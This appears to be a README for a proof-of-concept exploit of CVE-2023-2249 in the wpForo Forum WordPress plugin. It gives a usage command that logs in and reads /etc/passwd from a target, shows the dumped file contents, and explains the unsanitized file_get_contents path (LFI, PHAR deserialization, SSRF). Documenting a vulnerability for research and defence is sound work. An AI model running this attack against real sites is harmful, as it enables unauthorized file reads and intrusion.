CVE-2023-2249 PoC — WordPress Plugin wpForo Forum 安全漏洞

Description

Exploit for CVE-2023-2249 in wpForo Forum plugin for WordPress

介绍

# Original Proof of Concept for CVE-2023-2249

- Proof of Concept for vulnerability CVE-2023-2249 in wpForo Forum plugin for WordPress
- POC Author : https://github.com/Ayantaker/

## Related Details

- NVD Link : https://nvd.nist.gov/vuln/detail/CVE-2023-2249
- Vulnerable versions : `version <= 2.1.7`
- Patched version : `2.1.8`


## Vulnerability Analysis

- [CVE-2023-2249: Wordpress Wpforo Plugin Root Cause Analysis](https://www.keysight.com/blogs/tech/nwvs/2023/07/05/cve-2023-2249)

## Usage

```bash
pip3 install requests rich bs4
python3 poc.py -i http://10.39.44.149 -p 8080 -u username -q password -f /etc/passwd
```

```
[*] Logging in 
[+] Logged in 
[+] Injecting payload
[+] Injected payload successfully
[+] Printing contents of /etc/passwd


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

```

> Whatever payload is passed to -f is passed internally to `file_get_contents` method of PHP without sanitization, so this enables LFI, PHAR Deserialization, SSRF etc.

## Disclaimer

This Proof of Concept (POC) has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Author is not responsible or liable for any misuse of the POC. Use responsibly.

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